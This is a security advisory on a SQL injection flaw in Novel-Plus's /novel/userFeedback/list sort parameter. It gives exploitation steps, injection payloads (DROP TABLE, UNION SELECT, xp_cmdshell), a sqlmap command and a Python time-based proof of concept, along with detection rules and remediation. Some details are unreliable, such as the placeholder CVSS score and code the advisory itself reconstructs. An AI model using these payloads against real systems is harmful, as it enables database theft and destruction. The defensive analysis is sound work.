CVE-2024-24021

Executive Summary

CVE-2024-24021 is a critical SQL injection vulnerability in Novel-Plus v4.3.0-RC1 and prior. The flaw exists in the /novel/userFeedback/list endpoint, where the offset, limit, and sort parameters are not properly sanitized before being passed to SQL queries. An unauthenticated attacker can exploit this to execute arbitrary SQL commands, leading to data exfiltration, modification, or complete database compromise. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the lack of authentication required and the potential for full database takeover. No official patch is available, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

This vulnerability affects the Novel-Plus Java application, which is distributed as a Maven-based project. The risk extends to any organization using Novel-Plus as a dependency or in a microservices architecture. Since the vulnerability is in the core application code, not a third-party library, supply chain risk is limited to the Novel-Plus artifact itself. However, if Novel-Plus is used as a library in other projects, those projects are also vulnerable.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Full database write access.
• Availability (A): High (H) – Potential for denial of service or data destruction.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary SQL commands, potentially leading to complete database compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the userFeedback/list endpoint. The application uses MyBatis or JDBC to construct SQL queries dynamically based on user-supplied parameters. The offset, limit, and sort parameters are concatenated directly into the SQL query without proper sanitization or parameterization.

Vulnerable Code Path:

1. The controller receives a GET request to /novel/userFeedback/list with parameters offset, limit, and sort.
2. These parameters are passed to a service layer that builds a SQL query.
3. The query is executed against the database, allowing an attacker to inject SQL commands.

Example Injection:

• offset=0&limit=10&sort=id – Normal request.
• offset=0&limit=10&sort=id; DROP TABLE user_feedback;-- – Malicious request that drops a table.

The injection point is in the sort parameter, but offset and limit may also be injectable depending on the database driver.

Vulnerable vs. Patched Code

Vulnerable Code (Novel-Plus v4.3.0-RC1):

// Controller
@GetMapping("/list")
public Result list(@RequestParam int offset, @RequestParam int limit, @RequestParam String sort) {
    return userFeedbackService.list(offset, limit, sort);
}

// Service
public Result list(int offset, int limit, String sort) {
    String sql = "SELECT * FROM user_feedback ORDER BY " + sort + " LIMIT " + limit + " OFFSET " + offset;
    // Execute query
}

Patched Code (Hypothetical):

// Use parameterized queries or whitelist sorting columns
public Result list(int offset, int limit, String sort) {
    // Whitelist allowed sort columns
    List<String> allowedSorts = Arrays.asList("id", "create_time", "status");
    if (!allowedSorts.contains(sort)) {
        throw new IllegalArgumentException("Invalid sort parameter");
    }
    String sql = "SELECT * FROM user_feedback ORDER BY " + sort + " LIMIT ? OFFSET ?";
    // Use prepared statement for offset and limit
}

Key Differences:

• The patched version validates the sort parameter against a whitelist.
• The offset and limit parameters are passed as prepared statement parameters.
• The vulnerable version concatenates all three parameters directly into the SQL string.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Novel-Plus v4.3.0-RC1 or prior.
• Network access to the /novel/userFeedback/list endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint: GET /novel/userFeedback/list?offset=0&limit=10&sort=id
2. Test for SQL injection by injecting a single quote in the sort parameter: sort=id'
3. If an error is returned, the endpoint is vulnerable.
4. Use SQL injection to extract data:
   • sort=id UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   • sort=id; EXEC xp_cmdshell('whoami')-- (if SQL Server)
5. Automate with SQLMap:

   sqlmap -u "http://target/novel/userFeedback/list?offset=0&limit=10&sort=id" --batch --dbs
   

Proof of Concept (PoC):

import requests

target = "http://target/novel/userFeedback/list"
params = {
    "offset": "0",
    "limit": "10",
    "sort": "id; SELECT SLEEP(5)--"
}
response = requests.get(target, params=params)
if response.elapsed.total_seconds() > 5:
    print("Time-based SQL injection confirmed")

Blue Team

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for requests with special characters in the sort, offset, or limit parameters.
• Use WAF rules to block SQL injection patterns.

Hunting:

• Search for requests to /novel/userFeedback/list with sort containing SQL keywords (UNION, SELECT, DROP, etc.).
• Analyze database logs for unexpected queries.

Lab Setup:

1. Deploy Novel-Plus v4.3.0-RC1 in a Docker container.
2. Use a MySQL or PostgreSQL database.
3. Simulate attacks using the PoC above.
4. Monitor with a SIEM or WAF.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /novel/userFeedback/list with abnormal sort, offset, or limit parameters.
  • SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Unexpected files in the database data directory (e.g., webshells).
• Database IOCs:
  • New or modified database users.
  • Unusual queries in database logs.
  • Dropped or altered tables.

Detection Engineering

YARA Rule

rule CVE_2024_24021_SQLi_NovelPlus {
    meta:
        description = "Detects SQL injection attempts against Novel-Plus userFeedback/list endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24021"
    strings:
        $s1 = "/novel/userFeedback/list" ascii nocase
        $s2 = "sort=" ascii nocase
        $s3 = "offset=" ascii nocase
        $s4 = "limit=" ascii nocase
        $sql1 = "UNION" ascii nocase
        $sql2 = "SELECT" ascii nocase
        $sql3 = "DROP" ascii nocase
        $sql4 = "SLEEP" ascii nocase
    condition:
        $s1 and ($s2 or $s3 or $s4) and 1 of ($sql*)
}

Sigma Rule

title: Novel-Plus SQL Injection Attempt
id: cve-2024-24021
status: experimental
description: Detects SQL injection attempts against Novel-Plus userFeedback/list endpoint
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "/novel/userFeedback/list"
            - "sort="
            - "offset="
            - "limit="
    keywords:
        - "UNION"
        - "SELECT"
        - "DROP"
        - "SLEEP"
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24021 Novel-Plus SQL Injection Attempt"; flow:to_server,established; content:"/novel/userFeedback/list"; http_uri; pcre:"/(sort|offset|limit)=.*(UNION|SELECT|DROP|SLEEP)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /novel/userFeedback/list endpoint if not required.
2. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
3. Restrict network access to the application to trusted IPs only.

Long-Term Fix:

1. Upgrade to a patched version of Novel-Plus (if available).
2. If no patch is available, modify the source code to use parameterized queries or whitelist the sort parameter.
3. Conduct a full security audit of the application for similar vulnerabilities.

Workaround:

• Use a reverse proxy to sanitize input parameters before they reach the application.

Valters IT